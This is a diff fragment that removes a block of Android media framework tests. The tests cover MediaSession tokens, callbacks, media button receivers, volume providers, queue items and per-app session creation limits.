-        } finally {
-            if (anotherSession != null) {
-                anotherSession.release();
-            }
-        }
-    }
-
-    /**
-     * Tests MediaSession.Token created in the constructor of MediaSession.
-     */
-    public void testSessionToken() throws Exception {
-        MediaSession.Token sessionToken = mSession.getSessionToken();
-
-        assertNotNull(sessionToken);
-        assertEquals(0, sessionToken.describeContents());
-
-        // Test writeToParcel
-        Parcel p = Parcel.obtain();
-        sessionToken.writeToParcel(p, 0);
-        p.setDataPosition(0);
-        MediaSession.Token tokenFromParcel = MediaSession.Token.CREATOR.createFromParcel(p);
-        assertEquals(tokenFromParcel, sessionToken);
-        p.recycle();
-
-        final int arraySize = 5;
-        MediaSession.Token[] tokenArray = MediaSession.Token.CREATOR.newArray(arraySize);
-        assertNotNull(tokenArray);
-        assertEquals(arraySize, tokenArray.length);
-        for (MediaSession.Token tokenElement : tokenArray) {
-            assertNull(tokenElement);
-        }
-    }
-
-    /**
-     * Tests that the various configuration bits on a session get passed to the
-     * controller.
-     */
-    public void testConfigureSession() throws Exception {
-        MediaController controller = mSession.getController();
-        controller.registerCallback(mCallback, mHandler);
-        final MediaController.Callback callback = (MediaController.Callback) mCallback;
-
-        synchronized (mWaitLock) {
-            // test setExtras
-            mCallback.resetLocked();
-            final Bundle extras = new Bundle();
-            extras.putString(TEST_KEY, TEST_VALUE);
-            mSession.setExtras(extras);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnExtraChangedCalled);
-            // just call the callback once directly so it's marked as tested
-            callback.onExtrasChanged(mCallback.mExtras);
-
-            Bundle extrasOut = mCallback.mExtras;
-            assertNotNull(extrasOut);
-            assertEquals(TEST_VALUE, extrasOut.get(TEST_KEY));
-
-            extrasOut = controller.getExtras();
-            assertNotNull(extrasOut);
-            assertEquals(TEST_VALUE, extrasOut.get(TEST_KEY));
-
-            // test setFlags
-            mSession.setFlags(5);
-            assertEquals(5, controller.getFlags());
-
-            // test setMetadata
-            mCallback.resetLocked();
-            MediaMetadata metadata =
-                    new MediaMetadata.Builder().putString(TEST_KEY, TEST_VALUE).build();
-            mSession.setMetadata(metadata);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnMetadataChangedCalled);
-            // just call the callback once directly so it's marked as tested
-            callback.onMetadataChanged(mCallback.mMediaMetadata);
-
-            MediaMetadata metadataOut = mCallback.mMediaMetadata;
-            assertNotNull(metadataOut);
-            assertEquals(TEST_VALUE, metadataOut.getString(TEST_KEY));
-
-            metadataOut = controller.getMetadata();
-            assertNotNull(metadataOut);
-            assertEquals(TEST_VALUE, metadataOut.getString(TEST_KEY));
-
-            // test setPlaybackState
-            mCallback.resetLocked();
-            PlaybackState state = new PlaybackState.Builder().setActions(TEST_ACTION).build();
-            mSession.setPlaybackState(state);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnPlaybackStateChangedCalled);
-            // just call the callback once directly so it's marked as tested
-            callback.onPlaybackStateChanged(mCallback.mPlaybackState);
-
-            PlaybackState stateOut = mCallback.mPlaybackState;
-            assertNotNull(stateOut);
-            assertEquals(TEST_ACTION, stateOut.getActions());
-
-            stateOut = controller.getPlaybackState();
-            assertNotNull(stateOut);
-            assertEquals(TEST_ACTION, stateOut.getActions());
-
-            // test setQueue and setQueueTitle
-            mCallback.resetLocked();
-            List<QueueItem> queue = new ArrayList<>();
-            QueueItem item = new QueueItem(new MediaDescription.Builder()
-                    .setMediaId(TEST_VALUE).setTitle("title").build(), TEST_QUEUE_ID);
-            queue.add(item);
-            mSession.setQueue(queue);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnQueueChangedCalled);
-            // just call the callback once directly so it's marked as tested
-            callback.onQueueChanged(mCallback.mQueue);
-
-            mSession.setQueueTitle(TEST_VALUE);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnQueueTitleChangedCalled);
-
-            assertEquals(TEST_VALUE, mCallback.mTitle);
-            assertEquals(queue.size(), mCallback.mQueue.size());
-            assertEquals(TEST_QUEUE_ID, mCallback.mQueue.get(0).getQueueId());
-            assertEquals(TEST_VALUE, mCallback.mQueue.get(0).getDescription().getMediaId());
-
-            assertEquals(TEST_VALUE, controller.getQueueTitle());
-            assertEquals(queue.size(), controller.getQueue().size());
-            assertEquals(TEST_QUEUE_ID, controller.getQueue().get(0).getQueueId());
-            assertEquals(TEST_VALUE, controller.getQueue().get(0).getDescription().getMediaId());
-
-            mCallback.resetLocked();
-            mSession.setQueue(null);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnQueueChangedCalled);
-            // just call the callback once directly so it's marked as tested
-            callback.onQueueChanged(mCallback.mQueue);
-
-            mSession.setQueueTitle(null);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnQueueTitleChangedCalled);
-            // just call the callback once directly so it's marked as tested
-            callback.onQueueTitleChanged(mCallback.mTitle);
-
-            assertNull(mCallback.mTitle);
-            assertNull(mCallback.mQueue);
-            assertNull(controller.getQueueTitle());
-            assertNull(controller.getQueue());
-
-            // test setSessionActivity
-            Intent intent = new Intent("cts.MEDIA_SESSION_ACTION");
-            PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent,
-                    PendingIntent.FLAG_MUTABLE_UNAUDITED);
-            mSession.setSessionActivity(pi);
-            assertEquals(pi, controller.getSessionActivity());
-
-            // test setActivity
-            mSession.setActive(true);
-            assertTrue(mSession.isActive());
-
-            // test sendSessionEvent
-            mCallback.resetLocked();
-            mSession.sendSessionEvent(TEST_SESSION_EVENT, extras);
-            mWaitLock.wait(TIME_OUT_MS);
-
-            assertTrue(mCallback.mOnSessionEventCalled);
-            assertEquals(TEST_SESSION_EVENT, mCallback.mEvent);
-            assertEquals(TEST_VALUE, mCallback.mExtras.getString(TEST_KEY));
-            // just call the callback once directly so it's marked as tested
-            callback.onSessionEvent(mCallback.mEvent, mCallback.mExtras);
-
-            // test release
-            mCallback.resetLocked();
-            mSession.release();
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mCallback.mOnSessionDestroyedCalled);
-            // just call the callback once directly so it's marked as tested
-            callback.onSessionDestroyed();
-        }
-    }
-
-    /**
-     * Test whether media button receiver can be a explicit broadcast receiver via
-     * MediaSession.setMediaButtonReceiver(PendingIntent).
-     */
-    public void testSetMediaButtonReceiver_broadcastReceiver() throws Exception {
-        Intent intent = new Intent(mContext.getApplicationContext(),
-                MediaButtonBroadcastReceiver.class);
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent,
-                PendingIntent.FLAG_MUTABLE_UNAUDITED);
-
-        // Play a sound so this session can get the priority.
-        Utils.assertMediaPlaybackStarted(getContext());
-
-        // Sets the media button receiver. Framework will keep the broadcast receiver component name
-        // from the pending intent in persistent storage.
-        mSession.setMediaButtonReceiver(pi);
-
-        // Call explicit release, so change in the media key event session can be notified with the
-        // pending intent.
-        mSession.release();
-
-        int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
-        try {
-            CountDownLatch latch = new CountDownLatch(2);
-            MediaButtonBroadcastReceiver.setCallback((keyEvent) -> {
-                assertEquals(keyCode, keyEvent.getKeyCode());
-                switch ((int) latch.getCount()) {
-                    case 2:
-                        assertEquals(KeyEvent.ACTION_DOWN, keyEvent.getAction());
-                        break;
-                    case 1:
-                        assertEquals(KeyEvent.ACTION_UP, keyEvent.getAction());
-                        break;
-                }
-                latch.countDown();
-            });
-            // Also try to dispatch media key event.
-            // System would try to dispatch event.
-            simulateMediaKeyInput(keyCode);
-
-            assertTrue(latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            MediaButtonBroadcastReceiver.setCallback(null);
-        }
-    }
-
-    /**
-     * Test whether media button receiver can be a explicit service.
-     */
-    public void testSetMediaButtonReceiver_service() throws Exception {
-        Intent intent = new Intent(mContext.getApplicationContext(),
-                MediaButtonReceiverService.class);
-        PendingIntent pi = PendingIntent.getService(mContext, 0, intent,
-                PendingIntent.FLAG_MUTABLE_UNAUDITED);
-
-        // Play a sound so this session can get the priority.
-        Utils.assertMediaPlaybackStarted(getContext());
-
-        // Sets the media button receiver. Framework would try to keep the pending intent in the
-        // persistent store.
-        mSession.setMediaButtonReceiver(pi);
-
-        // Call explicit release, so change in the media key event session can be notified with the
-        // pending intent.
-        mSession.release();
-
-        int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
-        try {
-            CountDownLatch latch = new CountDownLatch(2);
-            MediaButtonReceiverService.setCallback((keyEvent) -> {
-                assertEquals(keyCode, keyEvent.getKeyCode());
-                switch ((int) latch.getCount()) {
-                    case 2:
-                        assertEquals(KeyEvent.ACTION_DOWN, keyEvent.getAction());
-                        break;
-                    case 1:
-                        assertEquals(KeyEvent.ACTION_UP, keyEvent.getAction());
-                        break;
-                }
-                latch.countDown();
-            });
-            // Also try to dispatch media key event.
-            // System would try to dispatch event.
-            simulateMediaKeyInput(keyCode);
-
-            assertTrue(latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            MediaButtonReceiverService.setCallback(null);
-        }
-    }
-
-    /**
-     * Test whether system doesn't crash by
-     * {@link MediaSession#setMediaButtonReceiver(PendingIntent)} with implicit intent.
-     */
-    public void testSetMediaButtonReceiver_implicitIntent() throws Exception {
-        // Note: No such broadcast receiver exists.
-        Intent intent = new Intent("android.media.cts.ACTION_MEDIA_TEST");
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent,
-                PendingIntent.FLAG_MUTABLE_UNAUDITED);
-
-        // Play a sound so this session can get the priority.
-        Utils.assertMediaPlaybackStarted(getContext());
-
-        // Sets the media button receiver. Framework would try to keep the pending intent in the
-        // persistent store.
-        mSession.setMediaButtonReceiver(pi);
-
-        // Call explicit release, so change in the media key event session can be notified with the
-        // pending intent.
-        mSession.release();
-
-        // Also try to dispatch media key event. System would try to send key event via pending
-        // intent, but it would no-op because there's no receiver.
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
-    }
-
-    /**
-     * Test whether media button receiver can be a explicit broadcast receiver via
-     * MediaSession.setMediaButtonBroadcastReceiver(ComponentName)
-     */
-    public void testSetMediaButtonBroadcastReceiver_broadcastReceiver() throws Exception {
-        // Play a sound so this session can get the priority.
-        Utils.assertMediaPlaybackStarted(getContext());
-
-        // Sets the broadcast receiver's component name. Framework will keep the component name in
-        // persistent storage.
-        mSession.setMediaButtonBroadcastReceiver(new ComponentName(mContext,
-                MediaButtonBroadcastReceiver.class));
-
-        // Call explicit release, so change in the media key event session can be notified using the
-        // component name.
-        mSession.release();
-
-        int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
-        try {
-            CountDownLatch latch = new CountDownLatch(2);
-            MediaButtonBroadcastReceiver.setCallback((keyEvent) -> {
-                assertEquals(keyCode, keyEvent.getKeyCode());
-                switch ((int) latch.getCount()) {
-                    case 2:
-                        assertEquals(KeyEvent.ACTION_DOWN, keyEvent.getAction());
-                        break;
-                    case 1:
-                        assertEquals(KeyEvent.ACTION_UP, keyEvent.getAction());
-                        break;
-                }
-                latch.countDown();
-            });
-            // Also try to dispatch media key event.
-            // System would try to dispatch event.
-            simulateMediaKeyInput(keyCode);
-
-            assertTrue(latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            MediaButtonBroadcastReceiver.setCallback(null);
-        }
-    }
-
-    /**
-     * Test public APIs of {@link VolumeProvider}.
-     */
-    public void testVolumeProvider() {
-        VolumeProvider vp = new VolumeProvider(VolumeProvider.VOLUME_CONTROL_RELATIVE,
-                TEST_MAX_VOLUME, TEST_CURRENT_VOLUME, TEST_VOLUME_CONTROL_ID) {};
-        assertEquals(VolumeProvider.VOLUME_CONTROL_RELATIVE, vp.getVolumeControl());
-        assertEquals(TEST_MAX_VOLUME, vp.getMaxVolume());
-        assertEquals(TEST_CURRENT_VOLUME, vp.getCurrentVolume());
-        assertEquals(TEST_VOLUME_CONTROL_ID, vp.getVolumeControlId());
-    }
-
-    /**
-     * Test {@link MediaSession#setPlaybackToLocal} and {@link MediaSession#setPlaybackToRemote}.
-     */
-    public void testPlaybackToLocalAndRemote() throws Exception {
-        MediaController controller = mSession.getController();
-        controller.registerCallback(mCallback, mHandler);
-
-        synchronized (mWaitLock) {
-            // test setPlaybackToRemote, do this before testing setPlaybackToLocal
-            // to ensure it switches correctly.
-            mCallback.resetLocked();
-            try {
-                mSession.setPlaybackToRemote(null);
-                fail("Expected IAE for setPlaybackToRemote(null)");
-            } catch (IllegalArgumentException e) {
-                // expected
-            }
-            VolumeProvider vp = new VolumeProvider(VolumeProvider.VOLUME_CONTROL_FIXED,
-                    TEST_MAX_VOLUME, TEST_CURRENT_VOLUME, TEST_VOLUME_CONTROL_ID) {};
-            mSession.setPlaybackToRemote(vp);
-
-            MediaController.PlaybackInfo info = null;
-            for (int i = 0; i < MAX_AUDIO_INFO_CHANGED_CALLBACK_COUNT; ++i) {
-                mCallback.mOnAudioInfoChangedCalled = false;
-                mWaitLock.wait(TIME_OUT_MS);
-                assertTrue(mCallback.mOnAudioInfoChangedCalled);
-                info = mCallback.mPlaybackInfo;
-                if (info != null && info.getCurrentVolume() == TEST_CURRENT_VOLUME
-                        && info.getMaxVolume() == TEST_MAX_VOLUME
-                        && info.getVolumeControl() == VolumeProvider.VOLUME_CONTROL_FIXED
-                        && info.getPlaybackType()
-                                == MediaController.PlaybackInfo.PLAYBACK_TYPE_REMOTE
-                        && TextUtils.equals(info.getVolumeControlId(),TEST_VOLUME_CONTROL_ID)) {
-                    break;
-                }
-            }
-            assertNotNull(info);
-            assertEquals(MediaController.PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
-            assertEquals(TEST_MAX_VOLUME, info.getMaxVolume());
-            assertEquals(TEST_CURRENT_VOLUME, info.getCurrentVolume());
-            assertEquals(VolumeProvider.VOLUME_CONTROL_FIXED, info.getVolumeControl());
-            assertEquals(TEST_VOLUME_CONTROL_ID, info.getVolumeControlId());
-
-            info = controller.getPlaybackInfo();
-            assertNotNull(info);
-            assertEquals(MediaController.PlaybackInfo.PLAYBACK_TYPE_REMOTE, info.getPlaybackType());
-            assertEquals(TEST_MAX_VOLUME, info.getMaxVolume());
-            assertEquals(TEST_CURRENT_VOLUME, info.getCurrentVolume());
-            assertEquals(VolumeProvider.VOLUME_CONTROL_FIXED, info.getVolumeControl());
-            assertEquals(TEST_VOLUME_CONTROL_ID, info.getVolumeControlId());
-
-            // test setPlaybackToLocal
-            AudioAttributes attrs = new AudioAttributes.Builder().setUsage(USAGE_GAME).build();
-            mSession.setPlaybackToLocal(attrs);
-
-            info = controller.getPlaybackInfo();
-            assertNotNull(info);
-            assertEquals(MediaController.PlaybackInfo.PLAYBACK_TYPE_LOCAL, info.getPlaybackType());
-            assertEquals(attrs, info.getAudioAttributes());
-            assertNull(info.getVolumeControlId());
-        }
-    }
-
-    /**
-     * Test {@link MediaSession.Callback#onMediaButtonEvent}.
-     */
-    public void testCallbackOnMediaButtonEvent() throws Exception {
-        MediaSessionCallback sessionCallback = new MediaSessionCallback();
-        mSession.setCallback(sessionCallback, new Handler(Looper.getMainLooper()));
-        mSession.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS);
-        mSession.setActive(true);
-
-        // Set state to STATE_PLAYING to get higher priority.
-        setPlaybackState(PlaybackState.STATE_PLAYING);
-
-        // A media playback is also needed to receive media key events.
-        Utils.assertMediaPlaybackStarted(getContext());
-
-        sessionCallback.reset(1);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY);
-        assertTrue(sessionCallback.await(TIME_OUT_MS));
-        assertEquals(1, sessionCallback.mOnPlayCalledCount);
-        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
-
-        sessionCallback.reset(1);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PAUSE);
-        assertTrue(sessionCallback.await(TIME_OUT_MS));
-        assertTrue(sessionCallback.mOnPauseCalled);
-        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
-
-        sessionCallback.reset(1);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_NEXT);
-        assertTrue(sessionCallback.await(TIME_OUT_MS));
-        assertTrue(sessionCallback.mOnSkipToNextCalled);
-        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
-
-        sessionCallback.reset(1);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PREVIOUS);
-        assertTrue(sessionCallback.await(TIME_OUT_MS));
-        assertTrue(sessionCallback.mOnSkipToPreviousCalled);
-        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
-
-        sessionCallback.reset(1);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
-        assertTrue(sessionCallback.await(TIME_OUT_MS));
-        assertTrue(sessionCallback.mOnStopCalled);
-        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
-
-        sessionCallback.reset(1);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_FAST_FORWARD);
-        assertTrue(sessionCallback.await(TIME_OUT_MS));
-        assertTrue(sessionCallback.mOnFastForwardCalled);
-        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
-
-        sessionCallback.reset(1);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_REWIND);
-        assertTrue(sessionCallback.await(TIME_OUT_MS));
-        assertTrue(sessionCallback.mOnRewindCalled);
-        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
-
-        // Test PLAY_PAUSE button twice.
-        // First, simulate PLAY_PAUSE button while in STATE_PAUSED.
-        sessionCallback.reset(1);
-        setPlaybackState(PlaybackState.STATE_PAUSED);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
-        assertTrue(sessionCallback.await(TIME_OUT_MS));
-        assertEquals(1, sessionCallback.mOnPlayCalledCount);
-        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
-
-        // Next, simulate PLAY_PAUSE button while in STATE_PLAYING.
-        sessionCallback.reset(1);
-        setPlaybackState(PlaybackState.STATE_PLAYING);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
-        assertTrue(sessionCallback.await(TIME_OUT_MS));
-        assertTrue(sessionCallback.mOnPauseCalled);
-        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
-
-        // Double tap of PLAY_PAUSE is the next track instead of changing PLAY/PAUSE.
-        sessionCallback.reset(2);
-        setPlaybackState(PlaybackState.STATE_PLAYING);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
-        assertFalse(sessionCallback.await(WAIT_MS));
-        assertTrue(sessionCallback.mOnSkipToNextCalled);
-        assertEquals(0, sessionCallback.mOnPlayCalledCount);
-        assertFalse(sessionCallback.mOnPauseCalled);
-        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
-
-        // Test if PLAY_PAUSE double tap is considered as two single taps when another media
-        // key is pressed.
-        sessionCallback.reset(3);
-        setPlaybackState(PlaybackState.STATE_PAUSED);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
-        assertTrue(sessionCallback.await(TIME_OUT_MS));
-        assertEquals(2, sessionCallback.mOnPlayCalledCount);
-        assertTrue(sessionCallback.mOnStopCalled);
-        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
-
-        // Test if media keys are handled in order.
-        sessionCallback.reset(2);
-        setPlaybackState(PlaybackState.STATE_PAUSED);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_STOP);
-        assertTrue(sessionCallback.await(TIME_OUT_MS));
-        assertEquals(1, sessionCallback.mOnPlayCalledCount);
-        assertTrue(sessionCallback.mOnStopCalled);
-        assertTrue(compareRemoteUserInfo(mKeyDispatcherInfo, sessionCallback.mCallerInfo));
-        synchronized (mWaitLock) {
-            assertEquals(PlaybackState.STATE_STOPPED,
-                    mSession.getController().getPlaybackState().getState());
-        }
-    }
-
-    /**
-     * Tests {@link MediaSession#setCallback} with {@code null}. No callbacks will be called
-     * once {@code setCallback(null)} is done.
-     */
-    public void testSetCallbackWithNull() throws Exception {
-        MediaSessionCallback sessionCallback = new MediaSessionCallback();
-        mSession.setCallback(sessionCallback, mHandler);
-        mSession.setFlags(MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
-        mSession.setActive(true);
-
-        MediaController controller = mSession.getController();
-        setPlaybackState(PlaybackState.STATE_PLAYING);
-
-        sessionCallback.reset(1);
-        mSession.setCallback(null, mHandler);
-
-        controller.getTransportControls().pause();
-        assertFalse(sessionCallback.await(WAIT_MS));
-        assertFalse("Callback shouldn't be called.", sessionCallback.mOnPauseCalled);
-    }
-
-    private void setPlaybackState(int state) {
-        final long allActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_PAUSE
-                | PlaybackState.ACTION_PLAY_PAUSE | PlaybackState.ACTION_STOP
-                | PlaybackState.ACTION_SKIP_TO_NEXT | PlaybackState.ACTION_SKIP_TO_PREVIOUS
-                | PlaybackState.ACTION_FAST_FORWARD | PlaybackState.ACTION_REWIND;
-        PlaybackState playbackState = new PlaybackState.Builder().setActions(allActions)
-                .setState(state, 0L, 0.0f).build();
-        synchronized (mWaitLock) {
-            mSession.setPlaybackState(playbackState);
-        }
-    }
-
-    /**
-     * Test {@link MediaSession#release} doesn't crash when multiple media sessions are in the app
-     * which receives the media key events.
-     * See: b/36669550
-     */
-    public void testReleaseNoCrashWithMultipleSessions() throws Exception {
-        // Start a media playback for this app to receive media key events.
-        Utils.assertMediaPlaybackStarted(getContext());
-
-        MediaSession anotherSession = null;
-        try {
-            anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
-            mSession.release();
-            anotherSession.release();
-
-            // Try release with the different order.
-            mSession = new MediaSession(getContext(), TEST_SESSION_TAG);
-            anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
-            anotherSession.release();
-            mSession.release();
-        } finally {
-            if (anotherSession != null) {
-                anotherSession.release();
-                anotherSession = null;
-            }
-        }
-    }
-
-    // This uses public APIs to dispatch key events, so sessions would consider this as
-    // 'media key event from this application'.
-    private void simulateMediaKeyInput(int keyCode) {
-        long downTime = System.currentTimeMillis();
-        mAudioManager.dispatchMediaKeyEvent(
-                new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCode, 0));
-        mAudioManager.dispatchMediaKeyEvent(
-                new KeyEvent(downTime, System.currentTimeMillis(), KeyEvent.ACTION_UP, keyCode, 0));
-    }
-
-    /**
-     * Tests {@link MediaSession.QueueItem}.
-     */
-    public void testQueueItem() {
-        MediaDescription.Builder descriptionBuilder = new MediaDescription.Builder()
-                .setMediaId("media-id")
-                .setTitle("title");
-
-        try {
-            new QueueItem(/*description=*/null, TEST_QUEUE_ID);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-        try {
-            new QueueItem(descriptionBuilder.build(), QueueItem.UNKNOWN_ID);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-
-        QueueItem item = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
-
-        Parcel p = Parcel.obtain();
-        item.writeToParcel(p, 0);
-        p.setDataPosition(0);
-        QueueItem other = QueueItem.CREATOR.createFromParcel(p);
-        assertEquals(item.toString(), other.toString());
-        p.recycle();
-
-        final int arraySize = 5;
-        QueueItem[] queueItemArray = QueueItem.CREATOR.newArray(arraySize);
-        assertNotNull(queueItemArray);
-        assertEquals(arraySize, queueItemArray.length);
-        for (QueueItem elem : queueItemArray) {
-            assertNull(elem);
-        }
-    }
-
-    public void testQueueItemEquals() {
-        MediaDescription.Builder descriptionBuilder = new MediaDescription.Builder()
-                .setMediaId("media-id")
-                .setTitle("title");
-
-        QueueItem item = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
-        assertEquals(TEST_QUEUE_ID, item.getQueueId());
-        assertEquals("media-id", item.getDescription().getMediaId());
-        assertEquals("title", item.getDescription().getTitle());
-        assertEquals(0, item.describeContents());
-
-        assertFalse(item.equals(null));
-        assertFalse(item.equals(descriptionBuilder.build()));
-
-        QueueItem sameItem = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
-        assertTrue(item.equals(sameItem));
-
-        QueueItem differentQueueId = new QueueItem(
-                descriptionBuilder.build(), TEST_QUEUE_ID + 1);
-        assertFalse(item.equals(differentQueueId));
-
-        QueueItem differentDescription = new QueueItem(
-                descriptionBuilder.setTitle("title2").build(), TEST_QUEUE_ID);
-        assertFalse(item.equals(differentDescription));
-    }
-
-    public void testSessionInfoWithFrameworkParcelable() {
-        final String testKey = "test_key";
-        final AudioAttributes frameworkParcelable = new AudioAttributes.Builder().build();
-
-        Bundle sessionInfo = new Bundle();
-        sessionInfo.putParcelable(testKey, frameworkParcelable);
-
-        MediaSession session = null;
-        try {
-            session = new MediaSession(
-                    mContext, "testSessionInfoWithFrameworkParcelable", sessionInfo);
-            Bundle sessionInfoOut = session.getController().getSessionInfo();
-            assertTrue(sessionInfoOut.containsKey(testKey));
-            assertEquals(frameworkParcelable, sessionInfoOut.getParcelable(testKey));
-        } finally {
-            if (session != null) {
-                session.release();
-            }
-        }
-
-    }
-
-    public void testSessionInfoWithCustomParcelable() {
-        final String testKey = "test_key";
-        final MediaSession2Test.CustomParcelable customParcelable =
-                new MediaSession2Test.CustomParcelable(1);
-
-        Bundle sessionInfo = new Bundle();
-        sessionInfo.putParcelable(testKey, customParcelable);
-
-        MediaSession session = null;
-        try {
-            session = new MediaSession(
-                    mContext, "testSessionInfoWithCustomParcelable", sessionInfo);
-            fail("Custom Parcelable shouldn't be accepted!");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        } finally {
-            if (session != null) {
-                session.release();
-            }
-        }
-    }
-
-    /**
-     * An app should not be able to create too many sessions.
-     * See MediaSessionService#SESSION_CREATION_LIMIT_PER_UID
-     */
-    public void testSessionCreationLimit() {
-        List<MediaSession> sessions = new ArrayList<>();
-        try {
-            for (int i = 0; i < TEST_TOO_MANY_SESSION_COUNT; i++) {
-                sessions.add(new MediaSession(mContext, "testSessionCreationLimit"));
-            }
-            fail("The number of session should be limited!");
-        } catch (RuntimeException e) {
-            // Expected
-        } finally {
-            for (MediaSession session : sessions) {
-                session.release();
-            }
-        }
-    }
-
-    /**
-     * Check that calling {@link MediaSession#release()} multiple times for the same session
-     * does not decrement current session count multiple times.
-     */
-    public void testSessionCreationLimitWithMediaSessionRelease() {
-        List<MediaSession> sessions = new ArrayList<>();
-        MediaSession sessionToReleaseMultipleTimes = null;
-        try {
-            sessionToReleaseMultipleTimes = new MediaSession(
-                    mContext, "testSessionCreationLimitWithMediaSessionRelease");
-            for (int i = 0; i < TEST_TOO_MANY_SESSION_COUNT; i++) {
-                sessions.add(new MediaSession(
-                        mContext, "testSessionCreationLimitWithMediaSessionRelease"));
-                // Call release() many times with the same session.
-                sessionToReleaseMultipleTimes.release();
-            }
-            fail("The number of session should be limited!");
-        } catch (RuntimeException e) {
-            // Expected
-        } finally {
-            for (MediaSession session : sessions) {
-                session.release();
-            }
-            if (sessionToReleaseMultipleTimes != null) {
-                sessionToReleaseMultipleTimes.release();
-            }
-        }
-    }
-
-    /**
-     * Check that calling {@link MediaSession2#close()} does not decrement current session count.
-     */
-    public void testSessionCreationLimitWithMediaSession2Release() {
-        List<MediaSession> sessions = new ArrayList<>();
-        try {
-            for (int i = 0; i < 1000; i++) {
-                sessions.add(new MediaSession(
-                        mContext, "testSessionCreationLimitWithMediaSession2Release"));
-
-                try (MediaSession2 session2 = new MediaSession2.Builder(mContext).build()) {
-                    // Do nothing
-                }
-            }
-            fail("The number of session should be limited!");
-        } catch (RuntimeException e) {
-            // Expected
-        } finally {
-            for (MediaSession session : sessions) {
-                session.release();
-            }
-        }
-    }
-
-    /**
-     * Check that a series of {@link MediaSession#setQueue} does not break {@link MediaController}
-     * on the remote process due to binder buffer overflow.
-     */
-    public void testSeriesOfSetQueue() throws Exception {
-        int numberOfCalls = 100;
-        int queueSize = 1_000;
-        List<QueueItem> queue = new ArrayList<>();
-        for (int id = 0; id < queueSize; id++) {
-            MediaDescription description = new MediaDescription.Builder()
-                    .setMediaId(Integer.toString(id)).build();
-            queue.add(new QueueItem(description, id));
-        }
-
-        try (RemoteService.Invoker invoker = new RemoteService.Invoker(mContext,
-                MediaSessionTestService.class, TEST_SERIES_OF_SET_QUEUE)) {
-            Bundle args = new Bundle();
-            args.putParcelable(KEY_SESSION_TOKEN, mSession.getSessionToken());
-            args.putInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS, numberOfCalls * queueSize);
-            invoker.run(STEP_SET_UP, args);
-            for (int i = 0; i < numberOfCalls; i++) {
-                mSession.setQueue(queue);
-            }
-            invoker.run(STEP_CHECK);
-            invoker.run(STEP_CLEAN_UP);
-        }
-    }
-
